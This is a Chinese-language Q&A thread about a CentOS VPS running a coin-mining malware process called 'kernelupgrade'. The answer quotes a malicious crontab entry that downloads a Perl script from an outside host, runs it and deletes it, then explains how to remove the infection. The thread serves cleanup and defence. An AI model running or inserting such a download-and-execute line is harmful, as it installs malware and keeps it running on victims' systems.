linux - Centos 2.6内核升级CPU占用率高

Question

我的 VPS 在 centos 中被一个叫做“kernelupgrade”的进程负载过高。当我手动终止这个进程时，它会在几分钟后再次启动。

我确实运行了“yum update”并更新了所有的包。重新启动也确实运行了，但不幸的是它没有帮助。今天我用“rkhunter”做了一次 rootkit 检查，没有发现可疑的结果。

我正在运行 Centos 2.6.32-431.5.1.e16.x86_64。

谢谢!

Answer 1

这是一种比特币/山寨币挖矿病毒!!如果你检查你的 crontabs，你可能会发现一些下载病毒更新版本并启动它的条目，像这样:

*/30 * * * * cd/tmp;wget http://updates.dyndnss-web.com/.../xyz.txt;curl -O http://updates.dyndnss-web.com/.../xyz.txt;perl xyz.txt;rm -f xyz.txt

要删除病毒只需删除 crontab 条目并杀死 kernelupgrade

不要忘记将所有密码更改为安全密码，看起来他们是通过暴力破解不安全的密码进入的。